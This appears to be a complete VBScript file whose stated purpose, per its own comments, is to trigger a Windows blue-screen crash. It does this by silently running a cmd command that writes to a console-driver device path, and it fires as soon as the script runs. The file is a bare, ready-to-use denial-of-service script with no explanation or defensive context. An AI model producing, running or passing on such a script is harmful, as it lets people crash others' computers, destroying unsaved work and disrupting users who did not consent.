Set objShell = CreateObject("WScript.Shell")

' Function to trigger a blue screen error
Sub TriggerBlueScreen()
    objShell.Run "cmd /c echo Kernel_Panic > \\.\globalroot\device\condrv\kernelconnect", 0, True
End Sub

' Main function
Sub Main()
    ' Trigger a blue screen error
    TriggerBlueScreen()
End Sub

' Execute the main function
Main